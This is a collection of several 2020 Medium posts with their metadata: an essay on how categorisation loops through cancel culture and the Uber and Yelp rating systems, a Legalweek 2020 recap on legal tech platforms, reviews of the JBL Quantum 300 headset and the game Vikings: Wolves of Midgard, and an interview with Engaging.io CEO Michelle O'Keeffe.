There is a looping or feedback effect involving the introduction of classifications of people… Kinds are modified, revised classifications are formed, and the classified change again, loop upon loop.
Take the debates this year about cancel culture. Meredith Cark in her paper ‘DRAG THEM: A brief etymology of so-called “cancel culture”’ writes about how social media callouts have evolved from their roots in Black vernacular tradition to their misappropriation in the digital age by social elites. She argues that the application of useful anger by minoritized people and groups has been effectively challenged by the dominant culture’s ability to narrativize the process of being “canceled” as a disproportionate moral panic and attempt to curtail freedom of speech. Those being canceled found themselves in a new category based on their behaviours. In response, the concept of ‘cancel culture’ emerged and with it a set of apparent behaviours that described those doing the canceling. As both categories evolved, so too did the behaviour they described and the groups of people aligned with them. They looped and then looped again.
This is an example of explicit categorisation, but many of the conversations about the data economy and its ability to reinforce structural racism through platform technologies and their use of data are fundametnally related. The ever-shifting recategorization of ourselves and our environments through data employed by the ad-tech industry and beyond gently nudges us to behave one way or another. This implicit power is the trick that makes surveillance capitalism tick.
The way data is treated perpetuates the idea that it is objective- a pure, euclidian reflection of our messy, situated, social world. Those deciding what data gets collected and how tend to perform the god trick of removing themselves from the picture. In doing they erase the setting from the data set, and along with it the values they have inevitably embedded in the space between the data points. These values then get amplified through the use of networked technologies, mainly for financial or sometimes political gain and it all gets very complicated.
Often we think of this as being perpetrated by invisible AIs weilded by ad tech, oppressive governments and mega corporations. And it is. But it is also seen in thorugh technology that affords collective categorisation of others such as Uber and Yelp.
Uber is currently facing a class action law suit, filed by a former driver, who claims that the ratings system that allows riders to rate their drivers violates the US Civil Rights Act. The argument is that non-white drivers experience disproportionate levels of low ratings, thereby affecting their ability to earn an income. The riders rating the drivers are embedding their implicit racism into their ratings which is then aggregated across the system. The commercial infrastructure intended to enforce a metitocracy through mutual ratings, in fact goes towards reinforcing structural racism. Uber denies this and maintains that the fact that riders are also rated based on their behaviour makes it a level playing field. This of course does not take into account the commercial dynamics of customer to service provider, the fact that the rider can always get a bus, and that no technology is neutral.
But it’s not all bleak. Hacking also suggests that once new categories are made, they open up the space for new realities to take effect.
“Social change creates new categories of people, but the counting is no mere report of developments. It elaborately, often philanthropically, creates new ways for people to be.”
And so it is not a small thing when new categories emerge. In contrast to the Uber example, following the Black Lives Matter protests in the summer Yelp has announced that they will be labeling businesses accused of racist behaviour in the US.
Example of the Yelp alert
The platform, which lets users rate bars, restaurants and attractions, said the labels would require “resounding evidence”, in the form of public attention and “floods of reviews”. Such a label would of course have a big impact on the businesses under fire and Yelp struggles against a never ending tide of fake reviews. But despite the complexities of implementing such a category in a fair way, it demonstrates that it is possible for platforms not only to acknowledge their power and the power of the data they collect and distribute. In acknowledging this yelp is taking an active standpoint as opposed to perpetuating the idea that techology is neutral.
So pay attention to the new categories that we are creating around us, and the infrastructures we use to allocate them. They pack a punch. | https://medium.com/@mirandamarcus/the-looping-effects-of-2020-cancel-culure-uber-and-yelp-7dfe1be1ac45 | ['Miranda Marcus'] | 2020-11-15 15:30:47.925000+00:00 | ['Bias', 'Social Science', 'Anthropology', 'Technology', 'Data'] |
2,208 | What’s old is new: platforms, Reynen Court, Atrium and more from Legalweek 2020 | “I’ll throw in some AI if you sign up for our annual subscription”
The best part of Legalweek NYC is connecting with others. The second best part is that it inspires me to write and share. The worst part of Legalweek NYC is Legalweek NYC, but I digress.
Last year I shared my thoughts on data, innovation and feeling of change in the air. This year I’m left wondering if things are really changing or if we are simply repeating ourselves. Here I share the highlights from my annual trip, this time comparing notes with myself from the past in hope of spotting real change. This post might be a bit more technical than usual, but detail > vagueness.
Everyone wants a platform…but what’s a platform?
I ended the week at the second edition of Inspire.Legal, an “un-conference” attended by many of the most progressive thinkers and doers in legal technology and innovation. Many thanks to Christian Lang, Matt Homann and many others for designing and running an amazing event and for inviting me to participate.
The first session I joined was on platforms and interoperability. Platforms are indeed a hot topic, but like “legal operations” and “artificial intelligence” we lack universal agreement on what a “platform” is or should be. The answer largely depends on whether you are a buyer, seller or user, and more importantly, what problem you are trying to solve.
The participants and conversations in the session were great, but many seemed to conflate technology platforms and platform businesses. Both are platforms by some definition, but it’s important to understand the difference.
A technology platform is a group of technologies that are used as a base upon which other applications, processes or technologies are developed.
A platform business is built on a model that facilitates exchanges between two or more interdependent groups, usually consumers and producers. This has also been described as a marketplace business model, often relying on “network effect” to scale and grow.
We all know and have likely utilized platform businesses these days. Facebook (for content), Uber (for rides), Amazon (for all the stuff). There are even some platform businesses in legal, some more successful than others. LegalZoom, Clio, Avvo and UpCounsel (RIP) come to mind.
Product suite ≠ platform. Many vendors describe themselves as a platform but are often actually describing interoperability (or lack thereof) across their collection of products. Offering a product suite, however integrated, does not make a platform in my world, and being called a “platform” doesn’t matter to anyone except the vendor’s marketing team. From a buyer’s perspective, what really matters is problem/solution fit and budget just like any other technology purchase. In other words, start with a clear understanding of your problems then evaluate the right technologies to address them like you’ve always done.
Real platforms are for creators, not consumers. That said, there are true technology platforms to consider if the problems you are trying to solve cannot be addressed by existing “point solutions” or product suites. Many such platforms have existed for decades and cater to a range of users and skillsets, from software engineers to less-technical business users. Today, developers build software on development platforms such as Java or .NET, and business users create customized solutions on business-focused platforms such as Salesforce.com.
Legal has technology platforms too. Over the last several years we’ve seen legal-focused platforms emerge, including “no-code” commercial offerings such as Neota Logic or Community.Lawyer, or more technical but open-source tools such as Docassemble. Even Microsoft SharePoint and HighQ (now with Thomson Reuters) are platforms commonly used in all parts of the ecosystem. These are all positioned as the tools and components a buyer needs to build their own customized and unique applications for internal use or to meet client needs. In short, tech platforms are solutions looking for problems by design.
Build faster, but buyer beware. All of these technology platforms aim to enable creation of new solutions to problems and bridge the gap between buy vs. build to some extent, depending on the platform and problems being addressed. They can significantly reduce costs and accelerate time-to-solution, but buyers must fully understand the capabilities provided, the skills required, and the costs beyond the platform to get to something of value.
And remember that just because something can be created, doesn’t mean it should be created. In my experience, the greatest challenge faced by buyers of these platforms and tools is knowing what to build and how to “get it to market”, so to speak.
We’re really talking about interoperability and standards
Interoperability is a related but different topic than platforms, and having a platform does not automatically imply interoperability. Platform or not, clearly not all technology solutions were “made for each other”. Whether a business uses one or one hundred apps that best meet its needs, the overarching need for data to securely and reliably flow between them is critical to gain efficiencies and insights. Particularly in the age of analytics and data-driven decision making.
Throughout the Inspire.Legal session it was clear the room was discussing the challenges of interoperability more so than platforms by any definition.
Interop flashback. In many ways the conversations brought me back to the early 2000s when I started a technology company called XMLAW. Our mission was data interoperability and standards across the industry, and creating “one view” across all systems and content. Over several years we built a product suite appropriately branded OneView and bravely set out to integrate everything. The product and vision resonated with law firm clients and we ended up working with many of the AmLaw 200 before being acquired by Thomson Reuters in 2009.
But the challenges in getting systems and vendors to work together, or even to “share” at all, were formidable. We embraced standards at different levels to unify data, including top-down standards such as the OASIS Content Management Interop Spec (CMIS) and low-level standards like SOAP and REST. We made it far, but relied heavily on our ability to deeply understand each system we connected and translate it into our own standards. This, in my experience, is too much burden to place on an individual customer and was a significant cost to bear for our business. The best solution is to develop open standards that vendors can/will adhere to.
Fortunately, we’ve made progress on this front. There are increasingly new (de facto) interop standards such as APIs and data formats, largely driven by demand for interconnectivity and data across systems and sectors. There have long been standards for exchange of data between firms and clients such UTBMS codes, though these address only some interop challenges if at all. And there are new and promising standards such as those from SALI that support better interoperability and analysis. But until vendors have sufficient motivation to open up their systems and adhere to non-proprietary standards, interoperability remains a challenge.
Reynen Court is a new platform with a new approach to interop
Reynen Court (RC) is a relatively new vendor getting a lot of attention. In the last several months they’ve announced an impressive backing consortium of large law firms, raised more than $10M USD from those firms and other investors, and last week announced the commercial launch of their initial platform. Yet the most common question about RC I heard last week was “what do they actually do?”. So, what do they do and what makes them so interesting?
To answer that for myself, I was fortunate to spend time with Andy Klein, CEO of RC and others on their leadership team to learn more.
RC positions themselves as an solution store for legal technology, making it faster and easier to discover, evaluate and deploy new applications in a secure and reliable environment. They claim to decentralize IT sourcing, purchasing and knowledge sharing. This is interesting in and of itself, as I know many firms wish to understand and evaluate a growing number of new apps and tech on the market today but for many reasons cannot simply “install” these apps and go. RC removes many of the barriers here, making it faster, easier and safer to evaluate or purchase a range of applications.
To sum up RC today (in my opinion):
RC is a modern infrastructure service that accelerates acquisition and secure deployment of new applications while providing tools that monitor the licensing, performance and usage of these applications
This is achieved, in part, by leveraging “application containers”. You can think of these containers as lightweight virtual machines in which applications can be packaged and run securely and consistently in any environment; on premise, in the cloud, or both.
Containerization is widely considered a big step toward cloud infrastructure and away from the expensive and expansive private data centers that firms (businesses) are operating, while allowing for an incremental approach that effectively bridges both.
This approach addresses several challenges faced by firms, including security and data privacy concerns and the cost and complexity of introducing new applications to their already complex environments.
There are some challenges to this approach, however, though I believe RC is focused on overcoming them. These include the need for application vendors to adapt and change to this containerized approach, and the natural incentives of many large vendors not to participate as they desire to “own the platform” themselves.
What is even more interesting to me is RC’s future potential as an ecosystem that encourages and even facilitates interoperability and insights across applications and app/data silos:
In many ways, RC is creating de facto standards and best practices for infrastructure, application architecture, licensing and deployment. This is good as inconsistency across vendors only detracts value from customers.
It also encourages evaluation and adoption of new applications and services by reducing risk and breaking down barriers between customers and vendors, particularly new and relatively unproven vendors.
Beyond infrastructure standards, the potential for interoperability standards and tools is even more valuable. RC described to me the solution store and application infrastructure is initial steps toward a broader vision that addresses application and data integration. In other words, they aim to provide an environment that enables cross-application data and workflow, and ultimately user experience. “One view”, anyone?
The platform, or marketplace, they are creating creates incentive for application vendors to embrace these standards and common services, which ultimately benefit the customers of these apps and the overall platform.
As a technologist focused on platforms and interoperability for many years I can see the logic and path forward with RC’s strategy. Though interop challenges have long existed and will not disappear any time soon, creating a marketplace and ecosystem that encourages integration and standards via shared commercial incentives is a smart way forward.
Atrium was a new platform for legal services. Or was it?
Let’s get back to platform business models. Last year I wrote about Atrium after spending time with Augie Rakow, Justin Kan and others. I was impressed with their thinking and approach and subsequently payed close attention to their business.
Earlier this year we learned that Atrium had terminated the majority of it’s legal staff. Much as been written on this subject, including a lot of speculation and frankly misguided information and opinions. Read this for a good summary of the good, bad and ugly coverage and interpret for yourself.
At Inspire.Legal Augie sat with Christian Lang to generously discuss Atrium and the recent “pivot”. This has also been covered well on social media (see Twitter) and I think shed some light on the Atrium story.
One of Augie’s comments that stuck with me the most was that a firm must decide if they are building a platform for senior practitioners to run their own businesses, or are they selecting target markets and hiring the right talent to pursue it? Much like tech vendors, this is a platform vs. portfolio vs. point solution decision. And like tech vendors, it depends on the firm’s choice of target customer and overall strategy. Is a firm a platform to serve its clients or to serve the partners of the firm?
In my experience, the majority of the market can be described as the latter. At a larger scale, consider global firms like Dentons as platforms for not only senior practitioners but for many independent firms and P&Ls. I’ve had many conversations with firm leaders about which of their clients are “firm clients” or which markets are “firm priorities”, and honest answers often expose the dynamics and risks of being a platform for partners vs. the market itself.
However, more firms appear to be investing in shared capabilities that a good platform should provide, regardless of the primary user of these capabilities. These include adjacent business offerings to clients, such as legal operations or management consulting, and “captive ALSP” services to be leveraged across partners and clients. It’s not a far leap for some of these firms to build a more firm-centric and consistent approach, but for now they are at least enhancing the platform(s) they have.
Clearspire again? Was Atrium simply another Clearspire, replaying the 2008 tech+law approach but with more capital, more tech, a niche market, and possibly without the benefit of lessons learned? Perhaps. Though Atrium’s initial plans have materially changed and I empathize for those who lost their jobs, I commend Atrium’s leadership and shareholders who were willing to test new approaches instead of tweeting about them.
I’m not going to opine on Atrium’s story but I will say this. Last year I described Atrium as a “business by design, but a law firm by regulation”. As it turns out, it appears Atrium was a law firm by design albeit enhanced with some modern business structure and mindset. This includes differences that other legal services providers can learn from, such as professional sales and account management, alternative capitalization and compensation structures, and a market-centric pricing, product management and technology focus. At the end of the day, Atrium was a legal services platform focused on serving clients and markets, not individual practitioners and their own books of business.
Final thoughts
Yes, many things haven’t changed. But the ecosystem is steadily evolving. It’s becoming more diverse with new and different competitors, technology choices and methods of buying and selling products and services. It’s becoming more complex yet more interconnected, with greater need for interoperability and product choices that can adapt and scale at the new pace of change. It’s heading toward a digital future along with the rest of the world. Being dragged toward it is probably more accurate.
I’ve previously written about the new competitive landscape and how firms are responding and it remains obvious to me that we’re heading in directions not unexpected. But many firms still seem to ignore these trends. For example, during the conference a large law firm chief declared that “the big 4 are our friend”. Sure they are, just ask the #big4.
There are, however, a small but growing number of firms that are changing their approach to change. They are hiring new professional talent in positions of strategy and influence, they are taking an honest and empirical look at their business and making adjustments, and they are cutting back on the innovation theater. It would seem that some firms are recognizing their inherent competitive advantages and trying to leverage them in new ways.
We feel the “platform effect” all around us. People and businesses are more connected, individually and as partners in long supply chains that increasingly span countries, sectors and technologies. Learning how to best connect what should be connected and to share would should be shared is imperative for all of us. And the key to this, and to change in general, is recognizing and understanding incentives and motivation across the connected ecosystem. And some parts of the ecosystem are understanding this better than others. | https://medium.com/@robsaccone/whats-old-is-new-platforms-reynen-court-atrium-and-more-from-legalweek-2020-e887489ff6e9 | ['Rob Saccone'] | 2020-02-10 17:25:16.752000+00:00 | ['Legal', 'Platform', 'Strategy', 'Technology'] |
2,209 | JBL Quantum 300 Gaming Headset Review | Whether you’re looking for consumer or professional audio gear, JBL has a long legacy in the industry…but they haven’t done much in the gaming space until now. A few months ago, they went overboard and launched an astounding seven gaming headsets on the exact same day alongside one pair of desktop speakers. The “Quantum” range has a style for literally every budget between $40 and $300, covering the gamut of features from 3D surround sound to Bluetooth to 2.4 Ghz wireless to RGB lighting.
As you go cheaper, you lose features. The mid-range Quantum 300 offers just enough of what makes the series special that I decided it would be a good place to buy in, and although it can’t claim superiority over others on the market, it’s still an interesting headset with plenty of sound performance and comfort. And a disastrous implementation of microphone input.
Oh dear.
Photo taken by the author.
OVERVIEW
The JBL Quantum 300 (official site) sells for $79 normally, and sometimes goes on sale. I bought mine for about $60 on Amazon. It’s a closed-back gaming headset that’s available only in black. It has a permanently attached cable and microphone. The cable is 1.2 meters long. In the box, you’ll receive a USB sound card dongle with its own 1.5 meter cable. Unlike some other USB sound dongles, the end that plugs into your computer is bulky and the other side is a simple headphone jack instead of a big control box, which is a nice design touch.
If you’re looking at the cheaper Quantum 200 and wondering what separates the 300, it’s the USB sound card. The two headsets are otherwise identical. So, if you don’t think you’ll need the sound card you might as well save the money. The dongle offers a great hardware surround implementation, but fumbles its mic implementation so badly that you might want to skip it if you’ve already got a competent setup. More on that below.
The grills protecting the drivers sit very deep inside the ear cups, and have the JBL logo etched into them. It’s the headset’s lone premium design touch. Photo taken by the author.
SOUND QUALITY
JBL’s marketing for this headset range repeats over and over that their “QuantumSOUND” signature is “based on research” but then doesn’t proceed to tell you what that research actually is. Considering that JBL is part of the same family of companies as Harman, I’m guessing that this research is the Harman Target Curve. This curve is a carefully-crafted headphone sound target designed to reproduce audio with exceptional accuracy, and tuned to the listening preferences of the average human ear thanks to the magic of years of science.
I really like headphones tuned to this curve. The AKG K371 and Razer Opus are both excellent examples of what it can do for audio. While the sound of the JBL Quantum 300 shares some similarities with the Harman target, it’s ultimately tuned firmly in the direction of “consumer audio.”
That’s not to say that it sounds bad, but rather that it shares more in common with popular gaming headsets than it does with high-end audiophile gear. The bass is thick and a little boomy, with just enough punch to satisfy bassheads. The midrange is impressively flat and accurate, and although the lower mids are a little thick from the bass emphasis they still sounds nice. Treble response is a bit uneven, with a dip in the lower treble range and some harshness up top. This gives the treble a more relaxed, less detailed sound than many studio headphones, and makes some vocals in music sound a little thinner and more recessed than normal. But on the plus side it also means they’re not fatiguing over long sessions or at louder volumes.
Soundstage and imaging are also good for a closed back pair, and they get even better if you turn on the QuantumSURROUND feature which I talk more about in the next section. But even if you’re a hardcore stereo fan, this presents a decently wide and accurate sound field.
In direct comparisons, it sounds very much like a Hyper X Cloud Alpha, but with just a bit more boom in the bass and a little more bite in the upper treble. It’s a sound that I immediately liked, and it’s awesome that an Alpha-like sound is available in a cheaper product. If you’re looking for a fun sound tuning that’s great for games and movies, this fits the bill perfectly. The Quantum 300 has a pleasant sound with plenty of bass punch that you can listen to all day without fatigue. If you’re into accuracy above all things, you might want to look at a different pair.
The dongle smartly leaves its bulky end at your PC, bringing a small headphone jack closer to where you sit. Photo taken by the author.
VIRTUAL SURROUND, DONGLE, AND MICROPHONE
If you’re a fan of virtual surround, and you don’t mind when it adds some extra movie-theater-like EQ, then you’ll have a good time with the dongle’s QuantumSURROUND mode. Like the other shouted-at-you technologies contained in this headset, it’s based off of years of acoustic research, with the goal of crafting a spatial audio system that can compete with Atmos, THX Spatial, and Windows Sonic.
Like Razer’s THX software, you can apply QuatumSURROUND to stereo or 5.1/7.1 surround signals. Unlike that other software, you don’t have to set JBL’s manually to work in every individual app. Instead, you get a blanket on/off switch. The first thing you’ll notice is that there’s a dramatic change in sound signature with the surround mode active. It takes on an aggressive, v-shaped, cinema-style bite with powerful punchy bass and a sharp upper mid-range. Gone is the laid back listening character of the standard stereo presentation, replaced with powerful in-your-face audio.
Fortunately, the actual surround channel virtualization is exceptional, with accurate placement throughout the sound field and a very smooth channel transition that makes the audio feel more like a 3D sphere and less like it’s coming from discrete speaker locations. The system doesn’t support vertical data from games like Sonic and Atmos do…but it didn’t matter that much to me since the standard surround implementation is great.
Whether playing games or even just listening to stereo audio, I love the way this system sounds. It’s one of my favorite surround implementations on PC, and although it’s not quite at the level of the top tier Waves NX system on the much more expensive Cloud Orbit, it works well enough that I don’t mind all the marketing hyperbole JBL tossed onto their web site. If you step up to the higher-priced models, they also throw in DTS Headphone: X so you can compare the two systems. I don’t know why they did this, as their proprietary system more than holds its own, and saving money on DTS licensing would have lowered the cost of the more expensive headset models.
You can use JBL’s QuantumENGINE (shouted yet again) software to customize the surround system a bit, adjusting it for your height and head size. I didn’t find this made a huge difference to the audio, but more customization is always better. The software also includes a full graphical EQ if you’d like to try and smooth out the signature changes caused by the surround system, or adjust the standard sound to be a bit more accurate.
Unfortunately, while the surround mode is great and made my gaming experience better…that’s where my fun with the dongle ends. It has numerous issues that need to be solved with a software update as soon as possible, and many of them center around the microphone. The attached microphone on the Quantum 300 is great, but you’ll never know that if you use it through the dongle. | https://xander51.medium.com/jbl-quantum-300-gaming-headset-review-3551bf048665 | ['Alex Rowe'] | 2020-08-02 18:45:21.770000+00:00 | ['Tech', 'Gadgets', 'Audio', 'Gaming', 'Technology'] |
2,210 | Vikings: Wolves of Midgard is A Great Action RPG You Shouldn’t Miss | You might not have heard of the Slovakian studio Games Farm before, but they’ve been quietly turning out quality action RPG’s for the last couple of decades. In 2017, they released Vikings: Wolves of Midgard on the PC, PS4, and Xbox One. The Unity-powered game is an impressive show for an engine that’s been wrongly-branded as bad by some folks due to one or two individual titles’ performance. It’s also a wonderful example of the classic Action RPG genre, and I wish I had played it sooner.
At the start of Vikings, you’ll customize either a male or female warrior, and set out on a grand quest that starts with small regional squabbles among warring bands but eventually involves mythological creatures and the fate of the world. The game features five unique skill trees themed after different Norse deities, and each one also corresponds to a type of weapon. So, you can mix and match provided you’re willing to switch weapon types throughout your adventure, or go all-in on one particular play style.
Combat is the core of the game. You’ll wage violent war across numerous large maps from an isometric perspective and collect lots of random loot. The combat is a little bit slower than in genre-stalwart Diablo III, and it reminds me of the heavier and well-animated battle in the recent Wolcen: Lords of Mayhem. It’s a very easy system to learn, with one main attack button and extra buttons for unlockable skills. On consoles, the right stick activates a handy dodge roll, and in a nice touch the speed and effectiveness of this roll is impacted by the weight of your current gear. | https://xander51.medium.com/vikings-wolves-of-midgard-is-a-great-action-rpg-you-shouldnt-miss-12156b06242d | ['Alex Rowe'] | 2020-04-06 18:42:19.368000+00:00 | ['Vikings', 'Rpg', 'Action', 'Technology', 'Gaming'] |
2,211 | Name Dropping, Michelle O’Keeffe, CEO of Engaging.io | Name Dropping is a Q&A series that aims to elevate the stories of women and nonbinary people leading in the tech space. The idea came from Angela DeFranco, a VP of Product at HubSpot, who said one way to be better allies is to name drop more women and nonbinary people in discussions of achievement, inspiration, and disruptors in tech, instead of referencing, time and again, the same set of (often male) leaders.
This edition of Name Dropping features Michelle O’Keeffe, CEO of Engaging.io, a HubSpot partner agency.
You’re CEO of Engaging.io, a human-centered digital strategy, design, and development firm. What are the most exciting challenges you’re currently working on?
Things are obviously changing pretty quickly at the moment, as they normally do in tech. With everything that happened this year, we’ve got to answer to the business. We’ve got an agency arm and we’ve got a product development arm. And we were always hoping to build more and more products, some of those associated with HubSpot. Some might be HubSpot plugins. But we build other things, as well. And I think what we ended up focusing on was solving the biggest pain points for our enterprise level clients and turning those into products. We’ve been able to launch two since the beginning of the pandemic, which has been really good. And it keeps our engineers happy, as well. They love building products, as opposed to running multiple agency projects at any one point in time. We’ve escalated this kind of work because of COVID, and because of that recurring revenue model that those products have, versus most of our agency work, which is all project based. It’s been really good. I’ve been really happy and proud about the progress we’ve made there.
When you visit Engaging.io’s website, you list all the ways that you, as a company, are “engaging humans” — through intuitive UX, through reporting and attribution, through beautiful websites, etc. What does true engagement mean to you?
We’ve got four directors of engaging, and we’d all been off in corporate doing our own things before we came together about 10 years ago. Our approach with every client is very much, if this were my business, what would I do? We treat every client as if it were our business: these are the challenges, this is what they’re facing, this is what they’ve asked us to solve for. And given that approach, sometimes we reverse-engineer what they’ve asked us for or what the brief was for.
Watch and listen as Michelle answers one of our questions live
But it means that we’re really open and honest. And, you know, most of the time, there is a reverse engineering of the brief as well, which was made at the beginning of the relationship. There might be uncomfortable conversations to a point, but our clients also give us this element of trust. I think that’s why we’re so successful.
We try to instill the same thing in our staff. If you’re talking to a client about the brief, put yourself in their shoes. And imagine if this were my business, and this was my money and my revenue, what would I do?
You also have to say no sometimes, though. If there’s not a good cultural fit between us and a client, we have to say sorry, we can’t help you. Especially right after we see the brief. They may want us to build something we know isn’t going to work. We’ll say look, this is what we would recommend doing. If they don’t want to hear it, we’re not going to build something that we know is going to fail. Not everybody’s used to that approach. But I think it’s the honest way of doing business. And certainly our staff like working on projects that work, and that achieve really good outcomes. And that’s self-perpetuating. We’re 100% referral, because we work that way. That’s the core of engaging: connecting as humans first. What are your business challenges second, and then how can we solve for those?
How has solving for your customers changed, if at all, during the current pandemic?
When everything first hit, nobody really knew what was going to happen, or how we would all be impacted. I think we definitely got off lightly and HubSpot was really helpful, as well. In that sense, it was kind of miraculous that HubSpot acted so quickly, and identified that one of the biggest pain points would be cash flow for organizations like ours. We’re still having the same amount of sales conversations, and we still have plenty of work to do. But clients that we had been working with, their businesses fell away overnight, and now they had to say to us, I know, you’ve done this work over the last three months, but we now have no money to pay you. So that was our biggest struggle.
Now, we’re very, very comfortable with the conversation around payment plans for clients, because their businesses still need to be able to function. We’ve just had to be flexible there in order to help them. And I think, while MVPs in tech have always been an intelligent way to go, it’s much more part of the conversation now: “I just need to get to market with this as quickly as possible. I need to prove that it works.” And then you can build out and adopt an iterative approach later.
What would you say is your greatest career achievement to date?
I’ve done lots of things and been lots of different places. For a while, this was for big corporate companies. And I did some cool things there. I made it to the top of my career space. I was with an organization that paid more than anyone else, and things like that.
From a career perspective, that was great, but at the same time, I was working 120 hours a week, and was not very healthy. This came as a surprise to me at the time, which it probably shouldn’t have. And I ended up just thinking, it’s great to have all this money and everything else with it, but I’ve got nobody to spend it with and nothing to spend it on. I don’t have a life. So I ended up quitting. That was one of the funniest conversations I’ve ever had. Because they asked, Where are you going? And I said, I’m not going anywhere. And they said, I know you’re going somewhere. And I said, I just don’t want to be here anymore. We went in circles for about 20 minutes.
Fast forward to my career now, and my greatest career achievements aren’t on paper — they’re about people. We, as directors, we’re all really clear that we wanted to create this environment within our company that acknowledged that work is secondary to real life. Of course, you spend a reasonable amount of time at work, but there’s no reason it can’t be an enjoyable place to be, and we can’t all be nice to each other. It’s like a little mini community.
We’ve always had a great culture, but I think it was really demonstrated for me with COVID. At the beginning of the pandemic, we all said, Okay, everybody work from home. We’re lucky — we’ve got all the tools and tech we need to keep things functioning without being in the office. But everyone was working 1,000% because nobody knew what was going to happen. They were working for each other, going the extra mile — directors were working really hard to make sure employees were all still getting paid 100% of their salaries, because a lot of their partners had been laid off. In short, we knew that our people were working hard, even from home.
I didn’t think about this too much until I spoke with some other agency owners and they said, I’m really worried, I hate the working from home thing, because I don’t think my people are working. And I thought, How does that happen?
And I sat down and thought about it. I honestly think that would be my greatest achievement: building and fostering this team of people who work for each other and care about each other. Which is what happens with community, right? When you come together, you can do great things. And that’s just not something you can tell people to do or be. That’s something that we’ve built. People feel like they are part of the community, they care about each other. They go the extra mile for each other and the company succeeded because of it.
What advice do you have for those with nontraditional backgrounds looking to break into the tech industry?
In tech, I think it’s a more of a level playing field in the sense that if you build a good product, it doesn’t matter who you are, doesn’t matter what you look like (your end customers can’t see you). But in that context, there’s still the same sort of hierarchical games that you have to play if you want funding, and things like that. And I think I’ve always naturally called that poor behavior and naturally gravitated away from that behavior.
If you’re getting into tech, there still needs to be this awareness and social responsibility. If you’ve got good ideas and good ability, I think that gets you in the door. But once you’re in the door, not everyone benefits the same. Nor is the place you’ve found yourself always a place you want to stay. I think it’s worth looking for those people and organizations that share your values, and gravitating toward and aligning with those people.
While sometimes the money and the bright lights might be somewhere else, going that route instead can equate to selling your soul. Over the course of a career, you might find yourself asking, How did I get here? This doesn’t match with my value system. That’s why people have their midlife crises. It’s really worth finding your niche within tech. People who work in a way that is consistent with your values.
We’re all human beings, and work is a part of our life. And if you don’t like your work, you don’t like what you’re doing, what you’re able to achieve, you won’t be happy in the rest of your life. There’s lots of opportunity out there, almost too much. New products are coming up all the time. You have to decide for yourself where success lies.
I’ve worked in very male-dominated industries, even before I got into tech. I’ve seen some very poor behavior, but I always spoke up and did the right thing by myself. But what I came to realize over time is that not everyone is like that. And that I should be using my voice and my ability to actually help support people who for various reasons feel like they can’t speak up the way I have.
And it’s not just being a female in male-dominated industry. In all of the different contexts that people face, we have a social responsibility to look after those who don’t have the same voice that we have. And it’s hard, and it can feel like it’s going to be career-limiting. But that’s never been the case for me. So if people feel like they have the platform to speak up, then I highly encourage it.
What’s the most important lesson you’ve learned so far from your experience as a CEO?
Apart from that daily feeling of having no clue what I’m doing?
It’s that old adage, the more you know, the less you know. It definitely applies.
Honestly, the biggest lesson has been to look after myself. You’ve got this idea that the buck stops with you, you’ve got to do everything to get there, push yourself to get there. But, COVID brought this lesson to me, because I was just getting exhausted and burned out. And you cannot be of any use to anyone if you’re burned out. They say to mothers, if the mother’s sick, then the kids don’t thrive. It’s the same thing. It’s a little bit counterintuitive, but I honestly think if you, as a leader, take time for yourself to make yourself healthier, then you’re going to have more to give to others, and you’re going to do a better job. I’ve not always been good at it in the past, but it’s so important.
You have a background in teaching Qigong — are there any skills from that experience that you use in your current position?
For me, that’s the real stuff. That’s what gives meaning to my life, full stop. Everything kind of underpins that. One of the really good sayings in Qigong is “energy flows where attention goes.” Being mindful about what it is that you’re trying to achieve, and then directing your energies to that will give you success every time. It’s really easy to get distracted and have what they call ‘monkey mind’ and try to do too many things at once. But at the end of the day, if you set goals, just like an organization sets their business objectives for the year or the next three years, you can achieve them.
It’s just as important for a person to set goals as an organization. Put them up somewhere where you can see them, where they are integrated in your daily life, and then they’re something that you think about and your energy goes toward them naturally. That’s been really good for me, that sort of single-minded focus. Filter out the noise and focus on one thing. I think our brains need meditation. It is so rejuvenating, for us to try to slow our brains down like that, especially with the sort of work that we do, and the amount of information that we absorb.
I think it’s really nice to have those big ideas and those dreams. They’re the sort of things that make life exciting for me and give me motivation as an individual. There’s a little bit of mystery around that, as well. It’s great to make money, it’s great to build great things, but at the end of the day, life is always going to be way more important — real life, beyond work. That was just a belief that we had when we started the agency, but after living that way, everyone has benefited from it. People love to work here, they stay here a long time, they contribute wherever they can, and I think they feel supported. This idea that the individual is everything just doesn’t work. It’s community. We’ve got this responsibility to look after each other no matter what you look like, or what you do for a living, or what you have or what you don’t have. None of that matters.
I think you can have a business that makes money and still live that way. They’re not completely separate ideas. That was the philosophy that we had. There were a few moments early on, where I thought, Oh, this cannot work. But it does work. It does work. There are plenty of agencies that started at the same time that we did, and they don’t exist anymore. It’s because they didn’t treat their staff well. You need to put your profit into the business and hire more people. Make sure everybody is looked after. That works.
Who’s one woman or nonbinary person you’d like to name drop, and why?
Over my career, I have found that my female bosses were much more difficult for me than my male bosses, who were also challenging. But I’m 44. That was a while ago. And I’d like to think that things have changed a bit since then. We may have talked the talk then, but we didn’t actually walk it.
That said, I don’t have the feeling that I’ve had women leaders in my personal life whom I aspired to. But I do know great women through my own company. We’ve got some great female engineers, who are really open about balancing their real lives and their kids and their work. And they’re just unashamed about it and unapologetic about it. And I really liked that because it normalizes what it means to have these other challenges in your non work life. And I think it’s little things that are brave. So there’s Neema Tiwari, who is a developer of ours. And she’s obviously working from home at the moment. Her family comes first. And she doesn’t skip a beat with work because she uses her flexibility however she needs it. Sometimes that might be doing something at two o’clock in the morning, although we try to try to make sure she doesn’t do that. But I really like that, just this absolute idea that this is who I am, this is what’s in my life. And I can still make this work. And I can still do phenomenal work. I think it’s really cool.
I remember interviewing her. And it was actually the case for all of our women on the team. They were all very outspoken in the interviews about their abilities. I hadn’t heard women be that outspoken in interviews before — you hear it a lot from men: Yeah, I can do that. Even if they’ve never even contemplated doing it before. And that was the thing that resonated with me. You are demonstrating to me what your value is. Let’s give this a go and see how far we can take it. I love that. That’s my favorite thing. Empowering each other.
What advice would you give your 22-year-old self?
So firstly, I would not have listened to it.
I’m stubborn. Like I said before, I’ve learned well by making mistakes, but very rarely by following advice.
I would say, don’t work in corporate.
Find something you love. And do that. Regardless of whether you think it’s going to make money or not. At the end of the day, you find a way to support your lifestyle by doing something that you love, and there are so many ways now that we can do that, that maybe I wasn’t aware of back then.
I thought, you finish school, you go to university. But I struggled at university. I did a Bachelor of Arts and thought, why am I here? There was no motivation. I finished, which I think was my greatest achievement — actually completing my degree. But then I thought, I need to get a job. That’s what you did. I didn’t have a lot of advice around me. So I was just a bit of a leaf in the wind and ended up finding my own way.
